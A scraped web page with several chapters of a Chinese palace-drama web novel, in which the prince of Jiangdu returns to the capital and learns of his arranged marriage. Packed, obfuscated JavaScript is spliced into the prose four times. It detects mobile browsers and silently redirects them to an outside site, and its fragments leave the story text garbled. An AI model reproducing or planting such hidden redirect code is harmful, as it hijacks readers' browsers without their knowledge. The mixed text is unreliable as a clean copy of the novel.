崔栋当即就把他听到的那些议论说了,又道:“不过他们猜想的也并不会错,十七岁的诸侯王,再不成婚就不像样子了。说不定陛下与皇后殿下已经为你物色好了王妃的人选。” 崔栋嘎嘎笑到一半,忽然反应过来觉得那些话说的并非没有道理,“嘶”了一声,看向百里漾,眼睛瞪大了,“他们说的不错啊。你十七了,该娶王妃了。指不定你这次陛下与皇后殿下会让你成了亲再走。”他这样说却是有一股幸灾乐祸在里面。 好歹也是从小一起长大的,百里漾还不了解崔栋的心思,睨着他,用眼神表达了你可真是“图样图森破”,轻飘飘来一句,“我十七固然不假,难道你不记得自己可是十九了。论娶妻,我想,你应该比我更着急罢。” 准确的来说,不是崔栋着急,是他的母亲李氏着急。从三四年前开始,李氏传来江都的家信里总是少不了问儿子可有心仪的姑娘或是喜欢什么样的姑娘之类的话。甚至很多时候悄咪咪寄来了人家姑娘的画像,说人家姑娘怎么怎么好,自己与她怎么谈得来,真是越看越喜欢,适合做儿媳……问崔栋有没有想法给她娶一个儿媳妇回来。 崔栋么,他肯定是没有想法的,否则也不会拖到现在成为世人眼中的大龄未婚青年了。 是的,在这个时代,尤其是世家豪族、勋爵之家,男子十九岁没有成亲的算是晚婚。崔栋这货从上一年开始已经向官府多交一份“晚婚税”了。 崔栋顿时跟被掐住脖子的鸭/子似的,笑声卡在喉咙直接变了调,脸色也变了,说话声音都有点艰涩了,“不会吧,阿娘她没有那么着急的吧?” 百里漾呵呵,回他一个“你觉得呢”的眼神。 崔栋彻底蔫了,垂着个大脑袋坐在高头大马上,丧里丧气的,那还有之前的欢腾劲。 他的想法是不想成亲,娶一个妻子回来管束自己,怎么想都不会愿意啊。但这话是不能告知父母的,否则绝对会招来好几顿的训斥。 催婚——这个话题成功让百里漾和崔栋都沉默了。 崔栋是享受自在生活不愿早娶,而百里漾则是上一辈子的遗留问题,因为没有想明白所以对成亲这事有所回避,想着能拖一日是一日。但崔栋说的没有错,他准备满十七了,拖是拖不了多久的。 百里漾上辈子是个单身狗,没有喜欢过谁,也没有想清楚自己喜欢的是男还是女,然后 就到了这辈子。这辈子的情况特殊,直到现在,他也还没有想清楚这个问题,但已经没有时间给他去想了。 百里氏目前没有大婚的诸侯王只有他一个,他又是椒房所出,同胞兄长是东宫太子,他的婚事不知道有多少人在盯着。此生身在皇室,婚姻不由自己做主,这点觉悟他早该有的。躲也只能躲一时,他也不可能一辈子不成亲的。其实他有想过这次进京后阿爹阿娘会不会给他定一门亲。大概率是会的吧。 百里漾在心中默默叹气,左右进京还需要时间,他这一路给自己做些心里建设就是。 不过……百里漾扭头看着骑马跟在马车旁边保护王驾的表兄崔栋。 他自己的婚事能不能成或许还是两说,但崔栋的,他有预感,崔栋这次回去极有可能是要娶媳妇的。 舅母不只向儿子去信,有时也有信给他这个小外甥的。信中也有向他打探崔栋是否有心上人,盼望儿子成亲的急切更是在最近的几封信中表露无遗。 所以,表嫂是肯定会有的,甚至已经在来的路上了。 这个时代信奉父母之命媒妁之言,舅舅舅母真要为崔栋聘娶佳妇,崔栋也拒绝不了。况且他是长子,又是独子,有些责任注定逃不过去。这个道理,崔栋是明白的,他只是会免不了郁闷而已。 他们走在回湛京的路上,其余的几个诸侯王与此同时也纷纷往湛京赶。 到了四月下旬,某一日皇帝宿在椒房殿。次日,皇帝召定国公进宫,两人在宣室殿对弈,至日落,定国公方出。 此事也落在了许多有心人眼里。 若放在往常,这算不上什么稀奇事,因定国公颜定山时常被召伴驾,有时亦会被皇帝留宿宫中。但现在不一样啊,谁都知道如今皇帝有意为江都王选定王妃,此前亦有风声传出。而现在又有了皇帝召定国公入宫之事,大家心中已有数,江都王妃的人选已定。 果然,又过了三日,崔皇后于宫中行宴,召请京中三品以上外命妇及各家女儿入宫赴宴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736834|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期间,定国公之嫡长女颜漪清容慧质,温良端方,获皇后夸赞并赐玉如意一柄,羡煞旁人。 至此,湛京之中人尽皆知,定国公之嫡长女颜漪已是默认的江都王妃,只等一道圣旨便板上钉钉、名正言顺了。 “阿姐,外面都在传你要做江都王妃了,你要嫁人了么?”定国公府内,八岁小姑娘由着长姐手把手教着练字。小姑娘正是活泼好动的年纪,没什么耐性,看着长姐映丽好看的侧颜,忽然想起了外边都在传的话,忍不住问了。 颜漪微愣,继而摸了摸妹妹柔软的发顶,只道:“阿姐早晚都是要嫁人的。” “嫁那个江都王么?”小姑娘才八岁,对嫁人一事并非完全不懂,但也不会太明白,她只知道长姐嫁人了就要到别人家里去了,她不喜欢,所以她嘟嘴了,又问,“阿姐你喜欢那个江都王么?” “阿姐都没有见过那位江都王几面,如何谈什么喜欢不喜欢的。”虽然妹妹年纪尚小,颜漪却没有在这个问题上随便敷衍,“江都王是陛下之子,身份贵重,想是不会错的。” 她的目光看向了摆在架子上的那柄玉如意,正是那日宫宴上皇后赐给她的那柄。不同于一般的白色或翠色玉如意,这一柄艳红如血,是世间难得的珍品,价值万金。最重要的是,它是皇后的嫁妆,本是有两只的,另一柄在此前给了如今的太子妃。 皇后在宫宴上将它赐给了她,京中三品以上的命妇都看见了,自然知道这是什么意思。而这赐婚的圣旨,估计也只等着江都王回到湛京了。 对于这个结果,她其实早有心理准备。以她家的情况,她将来势必要嫁入百里氏,区别不过是谁而已。 百里漾,天子第五子,椒房嫡出,太子胞弟,十二岁受封江都王。据传,江都王姿容甚伟,善骑射,在江都四年以来治国素有贤名,待下宽容,并不似其他的诸侯王那般喜欢“折腾”人。已经,算是一个很好的夫婿人选了。 小姑娘还听不懂这些话的意思,但她见长姐的脸上并没有笑容,皱起两条秀气的小眉毛想了想,举起小拳头,“姐夫他日后要是不好,叫阿兄去收拾他。” 被欺负了去找阿兄,准没有错的。 小小的人儿长得还没多高,护犊子的气势却相当足。颜漪莞尔,摸了摸她头上的小揪揪,温言道:“好,他若是欺负我,就让阿兄去找他讨说法。” 四月下旬开始,诸侯王陆续抵达了湛京。这是各地诸侯王自兴业八年之后头一次亲自进京朝觐,所携的贡品用马匹拉了长长的队伍,湛京的百姓少有见到如此壮观景象的,每次都出来看热闹,那一段时间街头巷尾都是议论此事的。 诸侯王进京朝贡,各个衙门几乎都忙得热火朝天,其中以鸿胪寺为最。鸿胪寺主要负责的就是诸侯王朝聘宴迎之事,每年岁贡之时便是寺衙中官员们皆忙得要死要活的时候。 13. 第 13 章 最先抵京的是定安王百里洪。在大衍所有的诸侯王国之中,他的封地距离湛京不是最近的,却是第一个先到的。 一入湛京,定安王并没有多做休整,只沐浴梳洗打扮齐整后便携王妃以及长子长女入宫拜见帝后。随后又去东宫拜见太子,献上了许多珍稀名贵药材,太子含笑收下了。最后定安王才带着妻儿到生母周贵妃宫中拜见。 “我的儿,你可算是回来了。”周贵妃年三十又六而风华不减当年,只是眼角添上了两条极细的皱纹。她这些年与儿子分隔两地,唯有家书聊以慰藉,想儿子想得紧。如今终于得以相见,拉着儿子看了许久。 定安王跪在周贵妃身前,眼眶也有些红,“阿娘安好?儿子远在封地亦想念阿娘。” 母子俩相互说了些话,定安王想起身边的妻儿,让他们上前给周贵妃请安。 定安王长子是庶出,长女为定安王妃褚氏所出,两人都没有见过周贵妃这位祖母。前者是因为庶出的身份没有到过湛京,后者则是年龄太小。 周贵妃虽不太喜欢长孙是庶出,但到底是儿子的长子,嫡孙女又乖巧可爱,便显露了几分悦色,分了些果品糕点给他们,让宫里的女使带着他们去花园玩了。随后她才对着恭敬的王妃说道:“你是个贤惠的,总算为大王生下了嫡子,日后更当尽心服侍大王,打点后院,使他无后顾之忧。” “是,谨遵夫人教诲。”褚氏受下了这来自婆母尚算温和的训导,心底略微松了口气。 此前周贵妃待她的态度可没有这般和悦。诸侯王虽不得来京,可亲眷却偶有进京的。因为她嫁给定安王数年无子,周贵妃对她颇有不满,每次相见便多有训斥。 眼看着这对母子俩之间明显还有话要说,褚氏很识趣地以看顾孩子为借口告退了。 “如今你已有嫡子,阿娘也能放下心了。”周贵妃欣慰说道。 时下勋贵高门多看重嫡子,皇帝亦如是。周贵妃与定安王母子俩虽深恨太子为嫡长才占着东宫之位,但他们自己亦是看重嫡庶之分的。定安王本就是庶子了,若再无嫡子,一来皇帝难免会有所不喜,二来一些看重嫡庶之分的大臣便更不可能会考虑投靠于他了。 定安王深知其中害处,加上他也是想要嫡子的,故而这几年一直很努力,终于在三月前有了嫡子,真是可喜可贺。 周贵妃盼嫡孙也盼了许久,此次不得见虽有小小的遗憾,可孩子尚小,很是脆弱,待日后长壮实了再见也不迟。 “劳烦阿娘为儿子操心了。”定安王再次躬身拜道。 说完了这些事,定安王便忍不住问及周贵妃这几年湛京的情势了。他虽安排有人为他探听湛京的情况,但宫中的情况,谁也没有能如周贵妃知道的多且可信的。而这些之中,定安王无疑最关心的是皇帝与东宫的情况。 周贵妃即便是在自己宫中也很谨慎,尤其是涉及到皇帝和太子这两个天底下最尊贵敏感的人物,言辞含糊了些,但定安王听懂了。 皇帝的身体近几年不太好了,太子依旧是老样子,疾病缠身病歪歪的。 定安王听完淡淡说道:“太子还真是有福之人。” 表面上听着他是在夸人,实则眉头皱得如同打结的两根麻绳。定安王可没有那般良善,更不会盼着太子好,太子若安好了,他就完全没有机会了。他最恨的是太子病歪歪的却一直死不了。 太子一日不死,他便一日不能妄动。 儿子有大志向,周贵妃便不能给儿子拖了后腿。她在自己的宫里还供了一尊神,每日早中晚拜三次,无比虔诚,只求母子得偿所愿,其中就有关于东宫的,但这么多年下来,似乎不太灵验。或许是因为她还不够虔诚,也或许是时候未到,总之她就这么一直拜下去。 关于太子的病,周贵妃亦不大想得通,这么多人私底下都盼着太子去,可太子哪怕从娘胎出来就一直病怏怏的,可他就是死不了。一月之前,反倒是此前看着身强体壮的庆阳侯世子突发恶疾去了。 真是奇也怪哉。 周贵妃提点道:“此次你好不容易回来了,多去你父皇跟前转转,总不会错的。” 有些事暂时盼不来,其余的可要抓紧起来。此时不去皇帝面前刷存在感,等后面定安王那些兄弟陆续进京了,机会便大大少了。 定安王颔首,他又想到一事,脸色便不大好了,问周贵妃道:“父皇真给百里漾定下了定国公嫡长女颜氏?” 周贵妃手上搅着巾帕,掩不住的嫉恨,恨声道:“陛下对崔氏母子向来恩宠,等那小子进京,赐婚的圣旨便会颁下。” 定国公的嫡长女啊。 定安王当初也想过用联姻的方式让定国公做他泰山,以换取定国公府的支持,可他与定国公的嫡长女年岁相差颇大,只好选了褚氏主支的嫡长女为正妃。 果然,父皇还是一如既往的对百里渝、百里漾这对兄弟偏爱有加。 定安王眼中也万分嫉恨。 他们这些皇子的婚姻并不单纯,谁都想娶一位出身强大母族的王妃予自己助力,但也不是谁都能够得偿所愿的。父皇还真是不让崔氏所出之子受一点委屈,先是为太子聘娶了出身禹州的梁氏,后面又要为百里漾聘娶颜氏。 越想这心中就越是不甘。 这还是其次的,定安王更担心的是,父皇难道就铁了心要在嫡子里选储君了? 不行,不会的。 定安王赶紧打消这个可怕的想法,想到此前去拜见父皇,父皇待他还是很好的,各个方面的事情都有询问到他,父皇甚至还询问了庶长子的课业骑射,若非看重他,父皇岂会如此? 他把自己安慰好,又与周贵妃说了会儿话,然后就到宫门落匙的点了。他已是诸侯王,于这座皇宫而言是“外人”了,宫里早已没有他住的地方了,于是告退,带着妻儿回到了湛京的王府里。 四月下旬末,百里漾一行人马抵达了湛京城外。 在湛京三十里之外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736835|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,站在高处,繁华壮阔的湛京城已经远远可见大致的轮廓了。越是靠近湛京,百里漾油然而生出的一股近乡情怯之感愈发强烈,一面迫切想快些进到那座城里,一面心中却生了些说不明白的畏惧。 崔栋比他还要紧张,仔细看他握着缰绳的手甚至在微微发颤,“也不知道妹妹还记不记得我的样子?” 百里漾瞬间无了个大语,“你上次回来不过一年多前,若表妹已十四及笄,她记性得有多不好才记不得你长什么样子。” “我、我就是有些紧张。”崔栋也知道自己说傻话了,抿着唇眺望远处的湛京城。 游子思乡,近乡而情切,莫不如是。 崔栋忽然拍马扬鞭,遥指湛京城,顿时生出一股豪气道:“就从这开始,我们比比,看谁先到城门之下。” 百里漾还没有答应,先吃了崔栋马蹄扬起来的尘土。呸呸呸,他一扬马鞭,策马追上去。 两人骑马在前竞逐,后面一队长长的骑兵甲士护卫。官道之上,群马奔驰,场面极为壮观。行人见状,纷纷避让。看着大片人马浩荡而过,又见领头的骑兵肩抗黑金王旗,上书“江都”二字,顿时明了这是江都王奉诏进京朝觐纳贡了。 快行至城外十里亭时,百里漾已经追上崔栋了。他们的马都是千里挑一的良种马,两人的骑术是打小就练出来的,不相上下。况且说是比赛,不过是趁着高兴跑马罢了。 “舒服,畅快。”崔栋跑了一回马,享受追逐风的快感,极为尽兴。他遥指着已经能看到高耸城墙的湛京城,“看,我们快到了。” 百里漾亦勒马驻足在一座小土坡上,他顺着崔栋所指看去,巍峨的湛京城离他们真的很近了,甚至可以隐约看到帝宫的轮廓。 他的心情大好,左顾右看地瞧四周的景色。目光落在前方的一座亭子时,百里漾忽然定住了,呼吸都有一瞬间的停滞。他不可置信使劲揉了揉眼睛,招呼崔栋过来看,“你来看,那是谁?” 崔栋起初不以为意,他已经看到了十里亭处的一群身穿朝廷袍服的人,“陛下派来迎接你的臣子吧。” 诸侯王进京,朝廷为表重视,会提前遣派鸿胪寺的一干官员于城外十里迎候。 “不对,你再看。”百里漾急了,探长身子想要看得更真切些,声音有些颤抖,“那是不是阿姐?” 长公主?! 百里漾口中的阿姐只有一个,那就是栎阳长公主百里澄。 “真是长公主,她亲自来迎你了。”崔栋精神一振,定睛在一群朱蓝衣冠里找到了那道靓丽的身影。再看容貌,不是长公主还有谁? 他的话音才刚落,身边的百里漾已经拍马而出,迫切的奔向人群中的那道身影。 “长公主,江都王他们到了。”听见马蹄疾驰的声音,上了年纪有些挨不住的大鸿胪连忙去看,发现一轻骑飞驰而来,后面跟着大队人马,认出了那飞扬的江都王旗。他精神一震,先拱手向身旁的百里澄说道。 14. 第 14 章 百里澄抬首看去,只见一名少年飞骑奔来,愈来愈近,一张略显青稚的脸逐渐清晰。她明艳的脸上唇角微微勾起,道:“准备接驾吧。” “是。”大鸿胪恭敬应了,转头吩咐其余官员准备迎接江都王驾。 奔到近前,百里漾迅速翻身下马,看着近在跟前的长姐,满眼激动,刚想上前唤人,大鸿胪这时候领着人上前来,齐刷刷行礼道:“臣鸿胪寺卿率众奉诏在此迎候江都王驾。” 无奈,百里漾只能先应付大鸿胪等人,他看了眼跟前这个留着山羊胡的老头子,上前一步扶起他,客气道:“大鸿胪辛苦,有劳各位了。” “臣等奉皇命而来,不敢言辛苦。”大鸿胪看着眼前的翩翩少年郎,不由得在心里赞了一声“好姿容”。 十六七岁的少年,唇红齿白,相貌清俊,身上稚气渐去,一身的威仪又不失温和,锐利的眉眼英姿飒飒却泛着些许桃红之色,既能看出陛下的影子亦继承了椒房的好颜色,走到大街上不知道要勾得多少女郎春心荡漾。 大鸿胪又说了几句客套话,他知道这两姐弟许久不见有话要说,很识趣的不打扰他们,与其余官员一起向着崔栋他们走去。 崔大将军的独子啊,也长这么大了啊。 时间过得可真快,一眨眼,许多当年的小娃娃都长大成人了。 大鸿胪心中无限感慨。 今日郊迎的是江都王,后面也还有好几位要来。想到这里,又是一叹。 每逢岁贡前后,鸿胪寺上下都要忙得昏头转向,这大半月以来,大鸿胪等人已在城外迎了好几个诸侯王。诸侯王是因岁贡进京,车马物品和随行人员皆一大堆,光是要妥善安排好这些就足够他们头大了,还不能生乱。 “阿姐。”百里漾迫不及待上前,唤道。他的眼睛很亮,里面盛满了笑意,更有种好久不见的不知所措,手脚都不知道要怎么放了。 “五郎,你长大了。”百里澄眉眼含笑,静静地打量这个已有好几年没有见到的弟弟,抬手想要像以前一般摸摸幼弟的头,发现已经不能摸到了。 如今的百里漾长到十七岁,他的个子已经蹿得很高了,姐弟俩站在一起,哪怕百里澄的身材在女子中属于高挑一列,可她还是比百里漾矮了半个头。 百里漾见状微微屈身,让长姐的手可以落在了他的前额发顶。百里澄笑了笑,像对待幼时的弟弟一样,在他头顶上轻轻拍了一下。 这姐弟温情的一幕被在场的很多人看在了眼里。 “表姐。”崔栋这时上前向百里澄问好,他摸着脑袋笑得有点憨,露出的八颗大白牙与略显黝黑的肤色形成了鲜明的对比。 百里澄对崔栋温和说道:“一路过来辛苦,舅舅舅母已在家中等你了。” “辛苦表姐来接我们。”崔栋在这个百里澄表姐面前拘束了许多,谁叫他打小就怕这个表姐,抱拳道,“等去宫中拜见陛下与殿下后,我马上就回去。” 百里澄看着壮实成熟了不少的崔栋,想到这几年他在江都辅佐百里漾的辛苦,于是提前告诉了他一个“好消息”,“舅舅舅母日前还与我说到你,说你现已老大,合该娶妻,已为你聘了为新妇。” 崔栋当场表演了一个笑容消失术。 百里澄此刻内心充满了恶趣味,故意问他:“要娶媳妇了,不开心么?” “开心,怎么会不开心呢?”崔栋挤出了一个比哭还要难看的微笑,“表姐,您看我像是不开心的样子么?” 百里澄端详了一下崔栋的脸,笑着回答:“不像。” 一旁的百里漾:“……” 虽然在回程的路上已经给崔栋打了预告、让他做了心理准备,可是这婚讯来得还是好突然啊。还有阿姐,你真的不是来逗哭崔栋的么? 瞅见旁边幼弟一脸难以言喻的神情,百里澄可不会放过他,轻唤了他一声,“五郎。” “阿姐。”百里漾顿时有种头皮发麻的感觉,果然,他看见长姐红唇轻启,也给他说了一个恐怖故事,“舅舅舅母惦记着栋表哥,阿爹阿娘也不会忘了你。你的新妇也定下了,阿爹阿娘预备让你在京中完婚再走。” 百里漾张了张嘴,眼神瞬间有些茫然,不知道说什么,只能干巴巴地回了一个“哦”字。 “还真的不高兴啊。”一会儿的功夫两个弟弟面上都变得愁云惨淡,百里澄发现这两人对成亲还真是不怎么愿意啊。 “长公主,大王,该回城了。”大鸿胪这时过来向二人请示。 百里澄看了一眼百里漾此行带来的队伍,颔首,扭头朝百里漾说道:“回吧,阿爹阿娘都在宫中等你。” “嗯。”百里漾重重点头道。 进到湛京城,百里漾与崔栋先行沐浴更衣,随后同百里澄一道入宫去椒房殿拜见帝后。皇帝知道小儿子何时入宫,得了消息就撂下政务去了皇后所在的椒房殿候着。 巍峨壮阔的帝宫坐落在湛京城北面,远远望去一股磅礴大气和威严庄肃之感就扑面而来。椒房殿的掌宫令早早奉了皇后之命在宫门等候了,由她引着百里漾等人往椒房殿去。 “数年不见,大王长高了。”掌宫令行过礼,看着个头蹿得很高的百里漾十分感慨,眼眶中还有些微的红润。 她是皇后在闺中时的贴身婢女,伺候了皇后多年,亦是看着百里漾哥姐儿三个长大的。当初百里漾就封时还没有她高,现在已经比她高好多了。 “陶姑姑。”百里漾亲自上前扶起了掌宫令,看着眼前这个幼时陪伴过他玩耍的人,他感到了亲切。五年过去,掌宫令没有多大变化,只是脸上添了几道明显的皱纹,鬓边多了几根银丝。 “殿下知道您今日回来,天不亮便醒了。”掌宫令笑得皱纹都出来了。 百里漾听到阿娘在等他,原本一颗急切的心更迫切了,脚下的速度也更快了。 椒房殿中,崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736836|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后不住地令人去门口看了好几遍。再一次宫侍回报说未见人,皇帝看不下去了,劝不住往外头看的崔皇后说道:“宫门使已着人来报,人已入宫,稍后便至,你就安生坐着等便是。” 结果换来了崔皇后白了他一眼,接着又叹息道:“几年不见,不知五郎长高了多少,是胖了还是瘦了,平日里可有好好用膳?” 皇后是一片慈母心肠,当娘的都心疼儿子。 想到嫡幼子十二岁便离开父母远去封地,皇帝的心也柔软许多,他当然也是想念这个儿子的,只是身为君王让他比较嘴硬,“侍画院每年都有呈五郎的画像上来,他不仅长得同朕一般高了,而且身形健硕,武艺骑射亦出色,去年不是猎了一只鹿,令人送了鹿角与鹿皮来不是么?”他嘴上虽然在埋汰皇后,可自己也将嫡幼子的事情记得清楚。 崔皇后才懒得拆穿皇帝,也不知道到底是谁偷偷往殿门口看了好几次了。 “长公主,江都王,崔都尉至。”不多时,外面传来了唱至。 殿外内侍的唱名向帝后预示着人要到了。皇帝与皇后不约而同朝殿门出看去,很快就看到了二男一女的身影朝着这边走来,越来越近,几人的样貌也愈加清晰。 第一个进殿的是长女,帝后已经知晓她随大鸿胪等人前去郊迎小儿子的事情了,夫妻两人的目光放在百里澄身上片刻,更是等不及似地被她身后的少年吸引过去了。 五年过去,当初那个才十二岁身形微胖的小少年真的是长大了,脸上的婴儿肥彻底消失不见,样貌已长开了,眉眼间都能找到几分帝后年轻的模样。 五官大多随了皇帝深刻了些,鼻梁高而挺直,棱角分明;眼睛却是遗传了皇后,眼角微微红,目之清亮有光,笑时如弯月,含情脉脉,自带风流多情。他的身形亦变得修长挺拔,站在那里磊磊如青松,叫人看着便觉赏心悦目。 “五郎拜见阿爹、阿娘。” 百里漾看见同坐在一案后的帝后,不由得眼眶红润,上前郑重行了叩拜之礼。崔栋落在其后三步的位置,亦跪在地上行礼。 “好好好,快起来。”崔皇后从百里漾进门时就在盯着儿子看,又看到了长得又高又壮的侄子,内心无比喜悦,连忙叫他们起来,一叠声地说道,“回来就好,回来就好。” 皇帝在这段时间里已端详过嫡幼子,儿子长大了,神态模样颇具自己年轻时的风仪,内心颇有几分自得。又看到旁边的崔栋,这小子长得也是越来越像他老子崔预了。 亲人团聚,总有许多话要说。 皇帝在椒房殿中坐了一个时辰,问了些两人课业、武艺以及治民理事等方面的问题,又说宣室殿还有些奏章要批离开了,将空间留给了崔皇后他们。 见皇帝走了,崔栋“嘿嘿”摸着头笑着,说想回去看看父母亲。崔皇后怎不知兄嫂亦在家中等候儿子归家,十分干脆地放人,“快些回去吧,你阿爹阿娘怕是等急了。” 15. 第 15 章 “侄儿过后再来拜见您。” 崔栋拜别告退,他思念爹娘不假,同时也急着回去问问爹娘那门亲事是怎么一回事,他内心是真的希望长公主表姐在十里亭说的话是像以前一样逗他玩的啊。 崔栋离开后,殿内就剩下崔皇后与百里澄、百里漾姐弟俩。百里澄乖觉,她知道阿娘多年未见幼弟,有许多话要说,自己就降低存在感,默默在一旁捧着掌宫令沏的香茗慢悠悠地品着。 “阿娘。”没了皇帝在场,百里漾想像幼时般一头扎进了崔皇后怀里,寻求母亲的温暖和庇护,可他已经长大,便止住了,只含泪道,“儿回来了,儿好想念您。” 这一世他的母亲是崔皇后,她也的确给了他温暖的母爱和无微不至的关怀。哪怕是出生在百里氏这样天底下最特殊的家庭之中,崔皇后也用她的身躯与力量尽其所能的呵护他成长,不只他,还有长兄与长姐。 要知道,古代夭折率是很高的,尤其是在皇室。真认真算起来,他那皇帝老爹可不止如今的七子三女,有好几个是没活过三岁就因为各种原因夭折才没有齿序的,连百里氏的牒谱都上不去。崔皇后护着他们兄姊弟三个活下来,处处为他们筹谋,他心中是很感激的。 十二岁的那年,百里漾封王出藩,他内心是很不舍得离开母亲身边的。他一直记得,离京的时候,阿娘让他不要回头。他死死忍着,不敢回头,他怕一回头看见阿娘湿润的红眼眶也会忍不住哭出来。 “回来就好。”崔皇后亦含泪激动,轻抚他的脸,又摸摸他的头,目光欣慰又颇心酸,“你长大了,阿娘都快认不出你了。” 皇帝说侍画院每年都有画师绘了百里漾的画像呈给皇后,可画像到底是死物,哪比得过活生生的真人。崔皇后倍感遗憾的是她不能陪在小儿子身边见证他的成长。 百里漾由着崔皇后摸摸他的头,然后擦了擦眼角的泪退开了些。毕竟他已好大一只了,在这个讲究“男女七岁不同席”的时代,纵然是母子也需要注意男女大防的问题。 母子多年不见是有许多话要说的,多数时候都是崔皇后在问,百里漾在答,不知不觉就又过去两个时辰。 这时已到了崔皇后平日里用药的时辰,掌宫令不得不过来打断母子间的叙话。 “我来。”百里漾闻到浓重苦涩的药味,再看到崔皇后略显老态的容色,想到阿娘长久受咳疾所扰,自己却不能陪伴在其身边,一股愧疚便涌上心头。他从掌宫令手中接过汤药,亲自尝过味道试温度,服侍崔皇后服用。 这药只有尝过之后才知道有多苦,可崔皇后一用便是多年。这时代的医疗并没有很发达,崔皇后的咳疾是陈年旧伤所致,哪怕太医署集齐了天底下医术最好的医匠,也不能治愈皇后,只能缓解。百里漾对此是有心却无力。 幼子孝顺,崔皇后心中宽慰,喝药净了口后说道:“你阿兄前日感染风寒,太医说不能受风,之前他一直念着你何时抵京,你稍后得闲了便去东宫看看他。” 提及长子,崔皇后眉眼间不由得染上了几分浓重的愁色。 “阿兄病了?”百里漾微惊,随即表示:“此次回来本该我去东宫拜见阿兄。” 太子的身体一直不好,说起来也挺叫人揪心的。 崔皇后拍拍幼子的手,小儿子去东宫之前有件事情是要提前说给他知道的,“颜氏有好女,品貌俱佳,我与你阿爹欲聘之为汝妇,你意下如何?” 哪怕长姐已经提前预告过了,他也给自己做过心理准备,可真正要面对的时候,百里漾心里依旧是慌乱以及不知所措的。可他拒绝不了,因为他没有理由拒绝。他不情愿的那些缘由根本不能被这个时代的观念所接受。而且这是父母的好意,是经过了多方考量才为他选定的颜氏,更是政治联姻,是不以个人的意志而转移的。 所以,百里漾只能道:“儿谢过阿爹阿娘。” “你放心。阿娘与你相看过,颜氏样样都好,你见过必会喜欢的。”崔皇后哪里看不出来幼子不太情愿,安慰他道。 “儿知道。”百里漾有些闷闷道。 他阿娘的眼光他相信是不会错的,人家姑娘肯定是好姑娘,相貌品性必然是极好的。只是、就是不知道她对这门亲事持何种态度?怎么说这也是包办婚姻、盲婚哑嫁。 崔皇后心下宽慰,幼子虽然对这桩婚事不太乐意但没有多少抵触的情绪。少年哪有不慕好颜色的,待他见过那颜氏女郎便会改变态度了。 幼子的婚事解决大半了,崔皇后欣慰之余目光瞥见在一旁默默品茗的长女,想到她那曲折坎坷的婚事,目光不由幽怨了些。 亲娘发射过来的目光都快化成实质扎到她身上了。百里澄暂时不想与崔皇后讨论这个问题只好装作没看见,低头喝茶。 崔皇后见状无奈,只能幽幽一叹。 百里漾从椒房殿离开之后便去了东宫,百里澄也随同他一起离开。姐弟二人走在去往东宫的宫道上,路过的宫人远远见着便跪地叩首,待他们远去后再起身离开。 “阿姐,阿兄这几年身子可有好些?”路上,百里漾询问长姐百里澄道。 有些话在椒房殿不宜向崔皇后问出,怕她伤心。百里漾只能在去往东宫的路上问长姐。这些年也是他与长姐的书信来往比较多。 “依旧是老样子,之前夜里雾气重,窗子未关严实,受了风。”百里澄道,也解释了太子感染风寒的原因。 太子病弱是先天不足之症,时不时就要病上一回,多年下来,百里澄被迫都习惯了。 百里漾拧眉却也无法。他这些年去了封地之后,没少派人访求名医问药,也曾搜罗稀罕珍奇的名贵药材送回湛京,但无论是对帝后还是太子,效用并不大。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736837|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >到了东宫,侍人远远见二人过来,先行入宫禀报主子。只是百里漾还未踏进东宫的大门,迎面腿上便轻轻撞上了一个软团子,当然他是被撞的那个。 软团子后面跟着好几个奶嬷嬷与侍女,见小主子撞到了人,先是着急查看她有没有撞伤,见小主子撞到的人身着的服章乃超品,面相却是陌生的,看着与太子有几分相似。有眼色的她们猜出了百里漾的身份,纷纷行礼道:“见过长公主,见过江都王。” 百里澄轻轻抬手让她们起来。 在此期间,地上矮墩墩的软团子一直仰头睁着大眼睛好奇地看着这个长得像阿爹却又不是阿爹的人,眼神出现了些小迷糊。 她不认得这个人,可是她认得旁边的姑姑。 